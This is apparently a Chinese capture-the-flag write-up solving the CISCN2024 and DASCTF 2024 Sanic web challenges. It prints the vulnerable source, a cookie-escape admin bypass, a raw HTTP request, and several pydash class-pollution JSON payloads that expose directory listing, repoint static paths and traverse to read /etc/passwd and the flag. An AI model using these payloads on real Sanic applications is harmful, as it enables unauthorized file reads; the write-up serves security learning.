本文最后更新于 2025年1月15日 凌晨
CISCN2024-WEB-Sanic
/src
读取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app)@app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read())@app.route("/login" ) async def login (request ): user = request.cookies.get("user" ) if user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" ) return text("login fail" )@app.route("/src" ) async def src (request ): return text(open (__file__).read())@app.route("/admin" , methods=['GET' , 'POST' ] ) async def admin (request ): if request.ctx.session.get('admin' ) == True : key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" ) return text("forbidden" )if __name__ == '__main__' : app.run(host='0.0.0.0' )
定位一下关键代码
1 2 3 @app.route("/src" ) async def src (request ): return text(open (__file__).read())
这里应该可以读取代码
/admin
有原生链的污染
1 2 3 4 5 6 @app.route("/login" ) async def login (request ): user = request.cookies.get("user" ) if user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" )
这里有要求需要cookie值进行绕过,由于;
会提前截取,可以八进制绕过\073
用Cookie:user="adm\073n"
,得到回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 14 Jan 2025 13:05:00 GMT Content-Type: text/plain; charset=utf-8 Connection: keep-alive Set-Cookie: session=d19942299eb4431e9a1bdac1abc081c9; Path=/; Max-Age=2592000; expires=Thu, 13-Feb-2025 13:05:00 GMT; HttpOnly Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Max-Age: 1728000 Content-Length: 13 login success
构造
这里用\\\\.
进行绕过,跟进pydash.set_(pollute, key, value)
看
1 2 { "key" : "__init__.__globals__.__file__" , "value" : "/etc/passwd" } { "key" : "__init__\\\\.__globals__\\\\.__file__" , "value" : "/etc/passwd" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /admin HTTP/1.1 Host: 797906f2-03a1-44b6-b3cb-7eae782ac05e.challenge.ctf.show Sec-Ch-Ua: "Microsoft Edge" ;v="131" , "Chromium" ;v="131" , "Not_A Brand" ;v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Sec-Fetch-User: ?1 Cookie:session=d19942299eb4431e9a1bdac1abc081c9; Priority: u=0, i Connection: close Content-Type: application/json Content-Length: 69 {"key" :"__init__\\\\.__globals__\\\\.__file__" ,"value" :"/etc/passwd" }
进到/src
里读
(ps:这里读/proc/1/environ
在ctfshow就能读了)
这里跟进app.static
,看一下注释(翻译后)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 """ 注册一个根目录以提供文件服务。输入可以是文件或目录。 此方法提供了一种简单便捷的方式来设置用于提供静态文件的路由。 参数: uri (str):用于提供静态内容的 URL 路径。 file_or_ directory (Union[PathLike, str]):静态文件或包含静态文件的目录路径。 pattern (str, optional):用于标识有效静态文件的正则表达式模式。默认为 r"/?.+"。 use_modified_ since (bool, optional):如果为 True,则发送文件修改时间,如果浏览器的修改时间与服务器匹配则返回未修改状态。默认为 True。 use_content_ range (bool, optional):如果为 True,处理范围请求头并发送所请求的文件部分。默认为 False。 stream_large_ files (Union[bool, int], optional):如果为 True,使用 StreamingHTTPResponse.file_stream 处理器而不是 HTTPResponse.file 处理器发送文件。如果是一个整数,则表示切换到 StreamingHTTPResponse.file_ stream 的阈值大小。默认为 False,表示响应不会以流方式发送。 name (str, optional):用户定义的名称,用于 url_for。默认为 "static"。 host (Optional[str], optional):服务使用的主机 IP 或完全限定域名 (FQDN)。 strict_ slashes (Optional[bool], optional):指示 Sanic 是否检查请求 URL 是否需要以斜杠结尾。 content_type (Optional[str], optional):用户定义的响应头内容类型。 apply (bool, optional):如果为 True,将立即注册路由。默认为 True。 resource_ type (Optional[str], optional):显式声明资源为 "file" 或 "dir"。 index (Optional[Union[str, Sequence[str]]], optional):当暴露一个目录时,index 是将作为默认文件提供的名称。如果传递了多个文件名,将按顺序尝试。 directory_view (bool, optional):是否回退到显示目录视图(当暴露的是一个目录时)。默认为 False。 directory_ handler (Optional[DirectoryHandler], optional):一个 DirectoryHandler 实例,可用于显式控制和子类化默认目录处理程序的行为。 返回: List[sanic.router.Route]:在路由器上注册的路由。 示例: 提供单个文件服务: python 复制代码 app.static('/foo', 'path/to/static/file.txt') 提供目录中的所有文件服务: python 复制代码 app.static('/static', 'path/to/static/directory') 为大文件提供服务并设置特定的阈值: python 复制代码 app.static('/static', 'path/to/large/files', stream_large_ files=1000000) """
主要看的是
1 2 directory_view (bool, optional):是否回退到显示目录视图(当暴露的是一个目录时)。默认为 False。 directory_ handler (Optional[DirectoryHandler], optional):一个 DirectoryHandler 实例,可用于显式控制和子类化默认目录处理程序的行为。
directory_view
为true的时候会展示目录,directory_handler中可以获取指定的目录,继续跟进,看到调用了DirectoryHandler这个类,那继续跟进这个类中
1 2 3 4 5 6 7 if not directory_handler: directory_handler = DirectoryHandler( uri=uri, directory=file_or_directory, directory_view=directory_view, index=index, )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def __init__ ( self, uri: str , directory: Path, directory_view: bool = False , index: Optional [Union [str , Sequence [str ]]] = None , ) -> None : if isinstance (index, str ): index = [index] elif index is None : index = [] self .base = uri.strip("/" ) self .directory = directory self .directory_view = directory_view self .index = tuple (index)
只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件
这个框架可以通过**app.router.name_index[‘xxxxx’]**来获取注册的路由,我们可以打印稍微修改代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from sanic import Sanicfrom sanic.response import text, htmlimport pydashimport sysclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" )@app.route("/src" ) async def src (request ): eval (request.args.get("code" )) return text(open (__file__).read())@app.route("/admin" , methods=['GET' , 'POST' ] ) async def admin (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" )if __name__ == '__main__' : app.run(host='0.0.0.0' )
执行
1 /src?code=print (app.router.name_index)
1 /src?code=print (app.router.name_index['__mp_main__.static' ])
成功获取到这个路由,接下来是调用到DirectoryHandler里
可以全局搜索下name_index这个方法,打个断点看一下
对handler.keywords.directory_handler.directory_view
进行污染
构造
1 { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view" , "value" : "True" }
注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,然后访问/static/就行
接下来是污染directory,directory是一个对象,而它之前的值就是由其中的parts 属性决定的,但是由于这个属性是一个tuple,不能直接被污染
parts的值最后是给了_parts这个属性(按照之前的跟进),污染成根目录
1 { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts" , "value" : [ "/" ] }
到这做题就差不多了,直接打两个payload读取,将flag污染到根目录就行。
[DASCTF 2024 暑假暑期挑战赛]Sanic’s revenge
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from sanic import Sanicimport osfrom sanic.response import text, htmlimport sysimport randomimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" )@app.route("/*****secret********" ) async def secret (request ): secret='**************************' return text("can you find my route name ???" +secret)@app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read())@app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir = create_log_dir(6 ) log_dir_bak = log_dir + ".." log_file = "/tmp/" + log_dir + "/access.log" log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak" log = 'key: ' + str (key) + '|' + 'value: ' + str (value); os.system("mkdir /tmp/" + log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" + log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" )if __name__ == '__main__' : app.run(host='0.0.0.0' )
书接上回,也做一下revenge,先打一发
1 { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view" , "value" : "True" }
由于过滤了parts不能直接打
接着之前的继续跟进
当我们开启列目录功能后,就会进入,跟进_index
1 2 3 4 5 6 def _index (self, location: Path, path: str , debug: bool ): if "//" in path or not path.endswith("/" ): return redirect( "/" + "" .join([f"{p} /" for p in path.split("/" ) if p]) )
列出的目录路径就是由self.directory(值是其中的parts控制的)+current拼接得到的
如果污染current就可以实现目录穿越
1 current = path.strip("/" )[len (self .base) :].strip("/" )
处理一个路径字符串 path
,去除路径两端的斜杠 /
后,截取出与 self.base
无关的部分。首先,通过 strip("/")
去除路径两端的斜杠,然后根据 self.base
的长度,去掉路径中前面与 self.base
长度相同的部分,最后再次去掉截取后路径两端的斜杠。最终,得到的是去掉了 self.base
部分并且去除掉两端斜杠的路径子串
current的值就是由path和base两个值决定的。
访问static路由时,这里path的值是/static/
可以创建一个ctf的目录
此时path为/static/ctf…/,base为static,控制base为static/ctf,可以让current为…,类似这样
1 2 3 4 path="/static/tmp/aaa.." base="static/tmp/aaa" current = path.strip("/" )[len (base) :].strip("/" )print (current)
file_or_directory类似flask中的_static_url_path,可以改变静态文件的默认路径,我们只需要通过这个改变到其他目录
1 { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" : "/" }
直接读proc/1/environ
为假的flag,看一下,proc/1/cmdline
,再进sh看一下完整目录
/app/2Q17A58T9F65y5i8.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from sanic import Sanicimport osfrom sanic.response import text, htmlimport sysimport randomimport pydashclass Pollute : def __init__ (self ): pass def create_log_dir (n ): ret = "" for i in range (n): num = random.randint(0 , 9 ) letter = chr (random.randint(97 , 122 )) Letter = chr (random.randint(65 , 90 )) s = str (random.choice([num, letter, Letter])) ret += s return ret app = Sanic(__name__) app.static("/static/" , "./static/" )@app.route("/Wa58a1qEQ59857qQRPPQ" ) async def secret (request ): with open ("/h111int" ,'r' ) as f: hint=f.read() return text(hint)@app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/adminLook" , methods=['GET' ] ) async def AdminLook (request ): log_dir=os.popen('ls /tmp -al' ).read(); return text(log_dir) @app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir=create_log_dir(6 ) log_dir_bak=log_dir+".." log_file="/tmp/" +log_dir+"/access.log" log_file_bak="/tmp/" +log_dir_bak+"/access.log.bak" log='key: ' +str (key)+'|' +'value: ' +str (value); os.system("mkdir /tmp/" +log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" +log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" )if __name__ == '__main__' : app.run(host='0.0.0.0' )
看一下多出来的路由
1 2 flag in /app,but you need to find his name!!! Find a way to see the file names in the app directory
/adminLook
,看一下
可以看到这里存在两个目录,一个备份目录名称为z7LD0H..
,那么就可以利用访问这个目录实现穿越到上层目录
先污染file_or_directory 为tmp目录
1 { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" : "/tmp" }
污染base的值
1 { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base" , "value" : "static/z7LD0H" }
在/app/45W698WqtsgQT1_flag
中,最后读取一下就行了(不知道电脑出什么问题,第二个打断点老是显示不出来)